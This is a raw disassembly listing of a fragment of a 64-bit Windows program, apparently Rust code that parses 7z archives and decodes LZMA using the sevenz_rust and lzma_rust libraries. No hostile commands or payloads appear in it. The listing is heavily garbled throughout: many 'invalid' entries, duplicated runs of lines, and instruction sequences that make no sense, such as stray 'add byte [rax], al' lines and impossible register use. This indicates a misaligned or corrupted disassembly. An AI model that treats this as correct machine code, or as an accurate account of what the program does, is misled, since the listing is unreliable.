mov qword [r9], rcx
mov byte [rbp + 0x20bf], al
lea rcx, [rbp + 0x1e38]
mov rdx, qword [rbp + 0x20a0]
mov r8, qword [rbp + 0x20a8]
call fcn.140137ff2
mov rdx, qword [rbp + 0x20b0]
lea rdi, [rdx + 8]
push 0xd
pop rcx
lea rsi, [rbp + 0x1e38]
jmp 0x14013a891
cmp byte [r12 + 3], 1
jne case.0x14013a506.3
xor eax, eax
lea r9, [rbp + 0xea8]
mov byte [r9 + 0x14], al
mov qword [r9 + 8], 4
add byte [rax], al
add byte [rax], al
and dword [r9 + 0x10], 0
lea rcx, [0x140176678]
mov qword [r9], rcx
mov byte [rbp + 0x20bf], al
lea rcx, [rbp + 0x1ea0]
mov rdx, qword [rbp + 0x20a0]
mov r8, qword [rbp + 0x20a8]
call fcn.140137ff2
mov rdx, qword [rbp + 0x20b0]
lea rdi, [rdx + 8]
push 0xd
pop rcx
lea rsi, [rbp + 0x1ea0]
jmp 0x14013a891
cmp byte [r12 + 3], 5
jne case.0x14013a506.3
xor eax, eax
lea r9, [rbp + 0xea8]
mov byte [r9 + 0x14], al
and qword [r9 + 8], 0
and dword [r9 + 0x10], 0
lea rcx, case.0x1401525ca.314
mov qword [r9], rcx
or dword [rax + 0x20bf85], ecx
add byte [rax - 0x73], cl
invalid
rcr byte [0xcb5ba86b], 1
xchg ebp, eax
movabs al, byte [0x20a8858b4c000020]
add byte [rax], al
call fcn.140137ff2
mov rdx, qword [rbp + 0x20b0]
lea rdi, [rdx + 8]
push 0xd
pop rcx
lea rsi, [rbp + 0x1dd0]
or dword [rax + 0x20bf85], ecx
add byte [rax - 0x73], cl
invalid
rep movsq qword [rdi], qword [rsi]
movabs rax, 0x8000000000000003
jmp 0x14013ab51
mov byte [rbp + 0x20bf], 1
lea rcx, [rbp + 0x2020]
call fcn.14003f3ec
mov rax, qword [rbp + 0x2030]
mov qword [rbp + 0xebf], rax
movups xmm0, xmmword [rbp + 0x2020]
movups xmmword [rbp + 0xeaf], xmm0
mov rdx, qword [rbp + 0x20b0]
mov byte [rdx + 8], 0xd
movups xmm0, xmmword [rbp + 0xea8]
mov rax, qword [rbp + 0xeb7]
mov rcx, qword [rbp + 0xebf]
movups xmmword [rdx + 9], xmm0
or dword [rax - 0x77], ecx
sbb byte [rax - 0x77], cl
and byte [rax - 0x48], cl
add eax, 0
add byte [rax], al
or byte [rax - 0x77], 2
lea rcx, [rbp + 0x2010]
call fcn.14013809d
nop
add rsp, 0x2148
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rbx, qword [rbp + 0x20a8]
mov r14, qword [rbp + 0x20a0]
jne 0x14013a940
xor edx, edx
jmp 0x14013a955
mov edx, ecx
and edx, 1
or edx, 2
shr cl, 1
add cl, 0xb
shl edx, cl
add edx, 0xf
and edx, 0xfffffff0
mov qword [rbp + 0x2080], r14
mov qword [rbp + 0x2088], rbx
lea rcx, [rbp + 0xea8]
call fcn.140059b32
lea rcx, [rbp + 0x2020]
mov edx, 0xfffb
call fcn.1401c5a79
mov qword [rbp + 0x2038], 0xfffb
test dword [rax], edi
and byte [rax], al
add bl, bh
inc dword [rax]
add byte [rdi], cl
adc byte [rbp + 0x2020], al
lea rax, [rbp + 0x1d60]
movups xmmword [rax + 0x50], xmm0
mov rcx, qword [rbp + 0x2030]
mov qword [rax + 0x60], rcx
mov rcx, qword [rbp + 0x2038]
mov qword [rax + 0x68], rcx
push 0xa
pop rcx
lea rsi, [rbp + 0xea8]
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
push 0xe
pop rcx
mov rdx, qword [rbp + 0x20b0]
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
and qword [rdx + 0x70], 0
and dword [rdx + 0x70], 0
movabs rax, 0x8000000000000000
mov qword [rdx + 0x78], rax
mov qword [rdx + 0xf30], r14
mov qword [rdx + 0xf38], rbx
xorps xmm0, xmm0
movups xmmword [rdx + 0xf40], xmm0
xor eax, eax
mov byte [rdx + 0xf50], al
mov word [rdx + 0xf51], 0x101
mov byte [rdx + 0xf53], al
jmp 0x14013a917
mov rcx, qword [rbp + 0x20b0]
mov byte [rcx + 8], 6
movabs rax, 0x8000000000000000
mov qword [rcx + 0x10], rax
lea rax, str.LZMA_properties_too_short
wait
adc al, 0x11
add byte [rax - 0x77], cl
sbb byte [r8 - 0x39], cl
and byte [r9], bl
add byte [rax], al
add cl, ch
jo 0x14013aa46
cli
invalid
invalid
cmp edi, 0xfffffff0
jbe 0x14013aa87
invalid
mov byte [rbp + 0x20bd], 1
lea rdx, str.dict_size_too_largeInvalid_props_byteInvalid_lc_or_lp_or_pbend_reached_but_not_decoder_finishedrc_not_finished_or_lz_has_pendingCorrupted_input_data__LZMA2:4_Corrupted_input_data__LZMA2:3_Corrupted_input_data__LZMA2:0_Corrupted_input_data__LZMA2:2_Corrupted_input_data__LZMA2:1_C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001flzma_rust_0.1.6_srclzlz_decoder.rs
adc dword [rax], eax
push 0x13
pop r8
mov cl, 0x14
call fcn.140174c44
mov rdi, rax
mov byte [rbp + 0x20bf], 0
lea rcx, [rbp + 0x2000]
call fcn.14013809d
jmp 0x14013ab0d
movzx eax, cl
mov dl, 0x2d
div dl
movzx r12d, al
imul edx, r12d, 0xffffffd3
add dl, cl
movzx eax, dl
mov cl, 9
div cl
movzx r13d, al
imul esi, r13d, 0xfffffff7
add sil, dl
mov qword [rbp + 0x1ff0], r9
mov qword [rbp + 0x1ff8], r8
invalid
add byte [rax], al
cmp sil, 8
jbe 0x14013aad9
mov byte [rbp + 0x20be], 1
lea rdx, [0x14024f3d5]
lea edx, [0x14024f3d5]
adc eax, 0x114909
push 0x16
pop r8
mov cl, 0x14
call fcn.140174c44
add eax, dword [rax]
jmp 0x14013aaf7
cmp dl, 0x2c
jbe 0x14013ab59
mov byte [rbp + 0x20be], 1
lea rdx, [0x14024f3d5]
adc eax, 0x1148e9
push 0x16
pop r8
mov cl, 0x14
call fcn.140174c44
mov rdi, rax
mov byte [rbp + 0x20bd], 0
lea rcx, [rbp + 0x1ff0]
call fcn.14013809d
cmp qword [rbp + 0x2138], 0
push 4
pop rax
push 0x11
pop rcx
cmove ecx, eax
mov rdx, qword [rbp + 0x20b0]
mov byte [rdx + 8], cl
mov qword [rdx + 0x10], rdi
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax + 0x18428948], al
mov qword [rdx + 0x20], 1
and qword [rdx + 0x28], 0
movabs rax, 0x8000000000000005
mov qword [rdx], rax
jmp 0x14013a917
invalid
mov byte [rbp + 0x20be], 1
lea rcx, [rbp + 0x2020]
lea esp, [rax]
and byte [rax], al
add byte [rcx - 0xd441706], cl
int1
inc dword [rbx + 0x2020bd]
add byte [rax], al
je 0x14013ab83
mov rdi, qword [rbp + 0x2028]
jmp 0x14013aafa
mov ebx, dword [rbp + 0x2024]
cmp qword [rbp + 0x2098], 0
js 0x14013abc5
cmp rbx, qword [rbp + 0x2098]
jbe 0x14013abc5
mov byte [rbp + 0x20be], 1
lea rcx, [rbp + 0x2020]
and byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
cwde
and byte [rax], al
add al, ch
jae 0x14013aba6
int1
inc dword [rbx + 0x2020bd]
add byte [rax], al
jne 0x14013ab77
mov ebx, dword [rbp + 0x2024]
mov rdx, qword [rbp + 0x20a0]
mov qword [rbp + 0x2070], rdx
mov r8, qword [rbp + 0x20a8]
mov qword [rbp + 0x2078], r8
lea rcx, [rbp + 0x2020]
call fcn.14013b240
cmp byte [rbp + 0x2020], 0
add byte [rax], al
je 0x14013abff
mov rdi, qword [rbp + 0x2028]
jmp 0x14013ac46
cmp byte [rbp + 0x2021], 0
je 0x14013ac1f
lea rdx, [0x14024f7ec]
push 0x1d
pop r8
mov cl, 0x14
call fcn.140174c44
mov rdi, rax
jmp 0x14013ac46
lea rdx, [rbp + 0x2020]
and dword [rdx], 0
add byte [rdx + 4], ch
pop r8
mov rcx, qword [rbp + 0x20a0]
mov rax, qword [rbp + 0x20a8]
call qword [rax + 0x40]
mov rdi, rax
mov edi, eax
mov edi, eax
test rax, rax
je 0x14013ac5e
mov byte [rbp + 0x20be], 0
lea rcx, [rbp + 0x2070]
and byte [rax], al
add al, ch
invalid
invalid
invalid
invalid
jmp 0x14013ab0d
and byte [rax], al
add al, ch
invalid
mov eax, dword [rbp + 0x2020]
bswap eax
mov rcx, qword [rbp + 0x20a0]
movabs al, byte [0x20808d8948000020]
add byte [rax], al
add byte [rdi], cl
enter 0xffffffffffff8b48, 0xffffffffffffff8d
movabs al, byte [0x20808d8948000020]
add byte [rax], al
mov rcx, qword [rbp + 0x20a8]
mov qword [rbp + 0x2088], rcx
or dword [rbp + 0x2090], 0xffffffff
add byte [rbx + 0x20908d], al
add bh, bh
mov dword [rbp + 0x2094], eax
lea rcx, [rbp + 0x2070]
test dword [rax + riz - 0x72b80000], edx
lea esi, [rax + 0x20]
add byte [rax], al
and byte [rax], al
add byte [rcx - 0xe731726], cl
int1
inc dword [rbx + 0x2070bd]
add byte [rax], al
mov edx, ebx
call fcn.140059e29
inc dword [rbx + 0x2070bd]
add byte [rax], al
je 0x14013acc5
mov rdi, qword [rbp + 0x2078]
mov byte [rbp + 0x20be], 0
test dword [rsi + 0x20], edi
test dword [rsi + 0x20], edi
lea rcx, [rbp + 0x2080]
call fcn.14013809d
jmp 0x14013ab0d
add al, ch
fst st(3)
invalid
mov edx, dword [rbp + 0x2074]
xchg ebp, eax
je 0x14013ace9
add byte [rax], al
lea rcx, [rbp + 0x2020]
call fcn.140059b32
int1
inc dword [rax + 0xf]
mov dh, 0xd6
add al, ch
pop rbx
out dx, al
int1
inc dword [rax + 0xf]
mov dh, 0xd6
lea rcx, [rbp + 0xea8]
test al, 0xe
add byte [rax], al
invalid
mov r8d, r13d
mov r9d, r12d
loope 0x14013acd1
cmc
call 0xcb5cace0
mov ch, 0x20
and byte [rax], al
add byte [rax - 0x75], cl
mov ebp, 0x2028
loope 0x14013acd1
cmc
call 0xcb5cace0
mov ch, 0x20
and byte [rax], al
add byte [rax - 0x75], cl
mov ebp, 0x2028
mov rax, qword [rbp + 0x2030]
mov qword [rbp + 0x20a8], rax
mov r15, qword [rbp + 0x2038]
invalid
test dword [rax], esi
and byte [rax], al
add byte [rax - 0x77], cl
test dword [rax + 0x4c000020], ebp
mov edi, dword [rbp + 0x2038]
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x5b], cl
and byte [rax], al
add byte [rbx + rcx*4 - 0x53], cl
mov ebp, dword [rbp + 0x2048]
add byte [rax], al
movups xmm0, xmmword [rbp + 0x2050]
mov r12, qword [rbp + 0x2040]
mov r13, qword [rbp + 0x2048]
mov ebp, dword [rbp + 0x2048]
add byte [rax], al
movups xmm0, xmmword [rbp + 0x2050]
lea rcx, [rbp - 0x30]
movaps xmmword [rcx - 0x20], xmm0
movups xmm0, xmmword [rbp + 0x2060]
add byte [rax], al
add byte [rax], al
movaps xmmword [rcx - 0x10], xmm0
movups xmm0, xmmword [rbp + 0x2080]
movups xmmword [rcx + 0xeb8], xmm0
mov rax, qword [rbp + 0x2090]
nop
and byte [rax], al
add byte [rax - 0x77], cl
or eax, 0x4800000e
lea edx, [rbp + 0xea8]
test al, 0xe
add byte [rax], al
add byte [rcx - 0x48], al
mov eax, 0xe800000e
cmp edi, dword [rax - 0x47b7fff8]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc6
je 0x14013ab0d
xchg esp, eax
std
invalid
invalid
invalid
add byte [rcx - 0x48], al
mov eax, 0xe800000e
cmp edi, dword [rax - 0x47b7fff8]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc6
je 0x14013ab0d
xchg esp, eax
std
invalid
dec dword [rax - 0x77]
sti
xchg esp, eax
std
invalid
mov rbx, rdi
shr rbx, 8
mov r14, qword [rbp + 0x20b0]
mov ch, 0xb0
and byte [rax], al
invalid
mov ch, 0xb0
and byte [rax], al
add byte [rcx - 0x73], cl
lea rcx, [r14 + 0x38]
invalid
invalid
lea rcx, [r14 + 0x38]
lea rdx, [rbp - 0x50]
mov r8d, 0xef0
cmp byte [rax - 0x73], cl
push rbp
mov al, 0x41
mov eax, 0xef0
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x2098]
mov qword [r14 + 0xf28], rax
mov dword [rsi + 0xf28], eax
mov word [r14 + 0xf30], 0x100
mov byte [r14 + 0x10], dil
mov rax, rdi
shr rax, 0x38
mov byte [r14 + 0x17], al
shr rdi, 0x28
mov word [r14 + 0x15], di
mov dword [r14 + 0x11], ebx
mov rax, qword [rbp + 0x20a8]
and byte [rax], al
add byte [rcx - 0x77], cl
sbb byte [rbp - 0x77], r9b
jle 0x14013adfd
and byte [rax], al
add byte [rcx - 0x77], cl
sbb byte [rbp - 0x77], r9b
jle 0x14013adfd
mov qword [r14 + 0x28], r12
mov qword [r14 + 0x30], r13
movabs rax, 0x8000000000000001
add byte [rax], al
or byte [rcx - 0x77], 6
mov qword [r14 + 8], rsi
mov dword [rsi + 8], esi
jmp 0x14013a917
sti
invalid
invalid
push rsp
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rcx], dh
test byte [rax - 0x78], 0xb5
mov esi, 0x48000020
lea ecx, [rbp + 0x2070]
call fcn.14013809d
sar bh, cl
invalid
inc dword [rax - 0x78]
mov ch, 0xbe
and byte [rax], al
add byte [rax - 0x7d], cl
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x2020]
lea esp, [rax]
and byte [rax], ah
add byte [rax], al
mov rdx, qword [rbp + 0x2028]
call fcn.14006095a
invalid
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rdi
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax + 0x20bebd], al
add byte [rax], al
invalid
and byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + rdx - 0x3a], dh
test dword [rbp + 0x20], edi
add byte [rax], al
invalid
je case.0x1400c4fec.267
mov byte [rbp + 0x20bd], 0
lea rcx, [rbp + 0x1ff0]
call fcn.14013809d
invalid
mov byte [rbp + 0x20bd], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x20bd], 0
je 0x14013af4d
mov byte [rbp + 0x20bf], 0
lea rcx, [rbp + 0x2000]
call fcn.14013809d
invalid
invalid
invalid
mov byte [rbp + 0x20bf], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x20bf], 0
invalid
add byte [rbp + 0x11], dh
jne 0x14013af9b
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp + 0x2010]
call fcn.14013809d
jmp 0x14013af8a
and byte [rax], al
add al, ch
not al
invalid
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rcx], dh
test byte [rax - 0x78], 0xb5
mov edi, 0x48000020
lea ecx, [rbp + 0x2080]
call fcn.14013809d
invalid
inc dword [rax - 0x78]
mov ch, 0xbf
and byte [rax], al
add byte [rax - 0x7d], cl
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea ebp, [rax + 0x4800000e]
mov edx, dword [rbp + 0xeb0]
invalid
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
lea ebp, [rax + 0x4800000e]
mov edx, dword [rbp + 0xeb0]
invalid
add al, ch
cmp dword [rcx - 0xe], ebx
bnd call qword [rax + 0x28c48348]
call fcn.14006095a
nop
add rsp, 0x28
bnd call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
invalid
mov rsi, rcx
mov rdx, qword [rcx]
mov rcx, rdx
btc rcx, 0x3f
cmp rcx, 5
push 2
pop rax
cmovb rax, rcx
cmp rax, 3
ja case.0x14013b073.0
ror dword [rax - 0x7d], 0xf8
add esi, dword [rdi + 0x10]
lea rcx, [0x14028c468]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
adc eax, 0x4634800
or dword [rax + 1], 0x48e0ffc8
jmp rax
add rsi, 8
add rsi, 8
or byte [rax - 0x77], cl
int1
mov rcx, rsi
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.14013809d
add byte [rax], al
mov qword [rbp - 8], rsi
mov dword [rbp - 8], esi
mov dword [rbp - 8], esi
call fcn.14013809d
mov rsi, qword [rbp - 8]
add dl, al
invalid
dec dword [rax - 0x75]
jne 0x14013b097
mov rdx, qword [rsi + 8]
mov rcx, qword [rbp - 0x10]
call fcn.14006095a
scasb al, byte [rdi]
pop rax
dec dword [rax - 0x75]
push rax
scasb al, byte [rdi]
pop rax
dec dword [rax - 0x75]
push rax
mov rdx, qword [rsi + 0x58]
push rsi
pop rax
call fcn.14006095a
mov rcx, qword [rsi + 0x78]
mov rdx, qword [rsi + 0x80]
call fcn.14013b1e6
add rsi, 0xf48
jmp case.0x1400f91f3.125
call fcn.14013809d
mov rsi, qword [rbp - 8]
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
call fcn.14006095a
add rsi, 0x68
mov rcx, rsi
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.14013b1fa
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
call fcn.14006095a
lea rcx, [rsi + 0xf10]
mov qword [rbp - 8], rsi
call fcn.14013809d
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x58]
mov ecx, dword [rax + 0x58]
mov ecx, dword [rax + 0x58]
mov rdx, qword [rax + 0x60]
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.1400595c5
pop rax
mov rdx, qword [rax + 0x60]
call fcn.1400595c5
outsd dx, dword [rsi]
in al, 0xf1
call qword [rax + 0x28c48348]
outsd dx, dword [rsi]
in al, 0xf1
call qword [rax + 0x28c48348]
pop rsi
pop rbp
ret
add esi, 0xf48
mov rcx, rsi
call fcn.14013b1fa
nop
add rsp, 0x28
pop rsi
pop rbp
ret
and al, 0x2f
mov byte [rsi + 1], al
xor eax, eax
mov byte [rsi], al
add rsp, 0x30
pop rsi
ret
add byte [rax - 0x39], cl
test dword [rax], ebp
sldt word [rax]
invalid
sbb byte [rax - 0x77], cl
ret
dec dword [rax - 0x73]
mov ch, 0x70
invalid
add byte [rax], al
mov qword [rbp + 0xef8], rax
mov rcx, qword [rbp + 0xee8]
call fcn.14013b1fa
mov rax, qword [rbp + 0xef8]
mov rcx, qword [rbp + 0xee8]
mov qword [rcx], rax
push 1
pop rbx
jmp 0x14013bc3e
mov rax, rbx
mov rdx, r15
movaps xmm6, xmmword [rbp + 0xf30]
add rsp, 0xfc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [r14 + 0x18], 1
and qword [r14 + 0x20], 0
jmp 0x1401432d1
mov byte [r14], 4
mov qword [r14 + 8], rax
movabs rax, 0x8000000000000000
mov qword [r14 + 0x10], rax
jmp 0x1401403f0
mov r13, rax
mov r12b, 4
movabs r15, 0x8000000000000000
xor esi, esi
mov byte [r14 + 1], bl
mov eax, dword [rbp + 0x2b0]
mov dword [r14 + 2], eax
movzx eax, word [rbp + 0x2b4]
mov word [r14 + 6], ax
mov qword [r14 + 8], r13
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], rdi
mov qword [r14 + 0x20], rsi
mov byte [r14], r12b
jmp 0x1401432d1
mov r14, qword [rbp + 0x388]
jmp 0x1401405a5
cmp bl, 8
jne 0x140141894
mov rdx, qword [r12 + 0x58]
mov rsi, qword [r12 + 0x60]
imul rax, rsi, 0x88
lea rcx, [rdx + rax]
mov qword [rbp + 0x3a8], rcx
mov qword [rbp + 0x3b8], rdx
mov rcx, rdx
test rax, rax
je 0x140140a19
mov qword [rcx + 0x78], 1
add rcx, 0x88
add rax, 0xffffffffffffff78
jmp 0x1401409fd
lea rdx, [rbp + 0x2f0]
mov byte [rdx], 0
push 1
pop rdi
mov rcx, r15
mov r8, rdi
call fcn.140137477
test rax, rax
je 0x140140ad7
mov r13, rax
mov r12b, 4
movabs r15, 0x8000000000000000
xor esi, esi
jmp 0x1401417fa
mov al, byte [rbp + 0x2f0]
cmp al, 0xd
mov qword [rbp + 0x388], r14
jne 0x140140c7a
imul rbx, rsi, 0x88
xor esi, esi
lea rdi, [rbp + 0x2f0]
mov r14, qword [rbp + 0x3b8]
mov r15, qword [rbp + 0x3b0]
test rbx, rbx
je 0x140140bfb
mov rcx, rdi
mov rdx, r15
call fcn.140140209
mov r12b, byte [rbp + 0x2f0]
cmp r12b, 0x12
jne 0x140140c2c
mov rax, qword [rbp + 0x2f8]
mov qword [r14 + 0x78], rax
add r14, 0x88
add rsi, rax
add rbx, 0xffffffffffffff78
jmp 0x140140b0a
movzx eax, word [rbp + 0xdc]
mov word [rbp + 0x2b4], ax
mov eax, dword [rbp + 0xd8]
jmp 0x14014180e
lea rdx, [rbp + 0x2f0]
mov byte [rdx], 0
push 1
pop rdi
mov rcx, r15
mov r8, rdi
call fcn.140137477
test rax, rax
je 0x140140c74
mov r13, rax
mov r12b, 4
movabs r15, 0x8000000000000000
xor esi, esi
jmp 0x140140c68
mov bl, byte [rbp + 0x2f1]
mov eax, dword [rbp + 0x2f2]
mov dword [rbp + 0x250], eax
movzx eax, word [rbp + 0x2f6]
mov word [rbp + 0x254], ax
mov dword [rbp + 0x254], eax
mov r13, qword [rbp + 0x2f8]
mov r15, qword [rbp + 0x300]
mov rdi, qword [rbp + 0x308]
mov rsi, qword [rbp + 0x310]
mov r14, qword [rbp + 0x388]
jmp 0x1401417fa
mov al, byte [rbp + 0x2f0]
mov byte [rbp + 0x2e8], al
xorps xmm0, xmm0
lea rcx, [rbp + 0xf0]
movups xmmword [rcx + 0x28], xmm0
and qword [rcx], 0
push 8
pop rax
mov qword [rcx + 8], rax
movups xmmword [rcx + 0x10], xmm0
mov qword [rcx + 0x20], 4
and qword [rcx + 0x38], 0
mov qword [rcx + 0x40], rax
and qword [rcx + 0x48], 0
mov rdx, rsi
call fcn.140060389
lea rcx, [rbp + 0x108]
or byte [rcx], al
add byte [rax], al
mov rdx, rsi
call fcn.140144836
lea rcx, [rbp + 0x2f0]
xor edx, edx
mov r8, rsi
call fcn.1401762f1
lea rsi, [rbp + 0x128]
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
mov edx, dword [rsi + 8]
call fcn.140174a51
lea rcx, [rbp + 0x2f0]
mov rax, qword [rcx + 0x10]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rcx]
movups xmmword [rsi], xmm0
xor edi, edi
mov rsi, qword [rbp + 0x3b8]
mov r14b, byte [rbp + 0x2e8]
cmp rsi, qword [rbp + 0x3a8]
je 0x140140de7
mov r13, rsi
add rsi, 0x88
mov rbx, qword [r13 + 0x78]
test rbx, rbx
je 0x140140d13
cmp r14b, 9
jne 0x140140d9d
dec rbx
xor r14d, r14d
xor r15d, r15d
cmp r14, rbx
jae 0x140140da0
lea rcx, [rbp + 0x2f0]
mov rdx, qword [rbp + 0x3b0]
call fcn.14014025e
mov r12b, byte [rbp + 0x2f0]
cmp r12b, 0x12
jne 0x140140f65
mov r12, qword [rbp + 0x2f8]
mov rcx, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0x100]
mov r8, rdi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
inc r14
mov qword [rax], r12
inc rdi
add r15, r12
jmp 0x140140d42
xor r15d, r15d
mov rcx, r13
call fcn.140176fa1
cmp r15, rax
ja 0x1401436df
mov rcx, r13
call fcn.140176fa1
mov r12, rax
mov rcx, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0x100]
mov r8, rdi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
sub r12, r15
mov qword [rax], r12
inc rdi
jmp 0x140140d0c
cmp r14b, 9
jne 0x140140e33
lea rdx, [rbp + 0x2f0]
mov byte [rdx], 0
push 1
pop rdi
mov rcx, qword [rbp + 0x3b0]
mov r8, rdi
call fcn.140137477
mov r13, rax
mov ebp, eax
test rax, rax
mov r14, qword [rbp + 0x388]
je case.0x1400089d2.1098
mov r12b, 4
movabs r15, 0x8000000000000000
xor esi, esi
jmp 0x1401417ee
mov r14b, byte [rbp + 0x2f0]
xor esi, esi
mov rcx, qword [rbp + 0x3b8]
mov rbx, qword [rbp + 0x3b0]
cmp rcx, qword [rbp + 0x3a8]
je 0x140140e78
mov rdx, rcx
mov rax, qword [rcx + 0x78]
cmp rax, 1
jne 0x140140e69
lea rcx, [rdx + 0x88]
cmp byte [rdx + 0x80], 0
jne 0x140140e43
add rdx, 0x88
mov rcx, rdx
add rsi, rax
jmp 0x140140e43
cmp r14b, 0xa
jne 0x1401417df
lea rcx, [rbp + 0x2f0]
mov rdx, rbx
mov r8, rsi
call fcn.1401381b8
mov r12b, byte [rbp + 0x2f0]
cmp r12b, 0x12
jne 0x140140f65
lea rcx, [rbp + 0x2f0]
mov rdx, qword [rcx + 8]
mov rax, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x18]
mov qword [rbp + 0x3a0], rdx
mov qword [rbp], rdx
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 8], rax
or byte [r15], r9b
adc dword [rbp + 0x10], eax
xor edx, edx
mov r8, rsi
call fcn.1401762f1
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x2e8], rax
mov rdi, qword [rbp + 0x300]
xor ebx, ebx
mov r15, rbp
cmp rbx, rsi
jae 0x140141600
mov r12, rbx
mov rcx, r15
mov rdx, rbx
call fcn.1401385c7
lea rbx, [r12 + 1]
test al, al
je 0x140140ef6
and dword [rbp + 0x190], 0
mov rcx, qword [rbp + 0x3b0]
lea rdx, [rbp + 0x190]
push 4
pop r8
call fcn.140137477
mov r13, rax
test rax, rax
jne 0x140141719
mov r14d, dword [rbp + 0x190]
mov rcx, qword [rbp + 0x2e8]
mov rdx, rdi
mov r8, r12
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140024925
mov qword [rax], r14
jmp 0x140140ef6
mov bl, byte [rbp + 0x2f1]
mov eax, dword [rbp + 0x2f2]
mov dword [rbp + 0x250], eax
movzx eax, word [rbp + 0x2f6]
mov word [rbp + 0x254], ax
mov r13, qword [rbp + 0x2f8]
mov r15, qword [rbp + 0x300]
mov rdi, qword [rbp + 0x308]
mov rsi, qword [rbp + 0x310]
add byte [rax], al
jmp 0x140141751
mov qword [rbp + 0x238], r15
mov qword [rbp + 0x388], r14
mov dword [rbp + 0x388], esi
xor ecx, ecx
xorps xmm6, xmm6
lea rax, str.Total_output_streams_cant_be_0
mov qword [rbp + 0x228], rax
push 0x1f
pop rax
mov qword [rbp + 0x220], rax
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rax - 0x77], 0x85
cwde
add al, byte [rax]
add byte [rax - 0x77], cl
popfq
add al, byte [rax]
invalid
mov qword [rbp + 0x230], rcx
cmp rcx, rbx
je 0x1401437a6
and qword [rbp + 0x2f0], 0
push 8
pop rcx
mov qword [rbp + 0x2f8], rcx
lea rax, [rbp + 0x300]
movups xmmword [rax], xmm6
movups xmmword [rax + 0x50], xmm6
mov qword [rbp + 0x310], rcx
movups xmmword [rax + 0x18], xmm6
mov qword [rbp + 0x328], rcx
movups xmmword [rax + 0x30], xmm6
mov qword [rbp + 0x340], rcx
and qword [rbp + 0x348], 0
and dword [rbp + 0x348], 0
movups xmmword [rax + 0x60], xmm6
adc dword [rax + 0x60], esi
mov byte [rax + 0x70], 0
lea rbx, [rbp + 0x250]
mov rcx, rbx
mov rsi, qword [rbp + 0x3b0]
mov rdx, rsi
call fcn.140140209
mov r12b, byte [rbp + 0x250]
cmp r12b, 0x12
jne 0x1401437e3
mov rdx, qword [rbp + 0x258]
lea rcx, [rbp - 0x28]
mov qword [rbp + 0x3b8], rdx
call fcn.14013fe80
xor eax, eax
xor r14d, r14d
xor r15d, r15d
mov qword [rbp + 0x3a8], rax
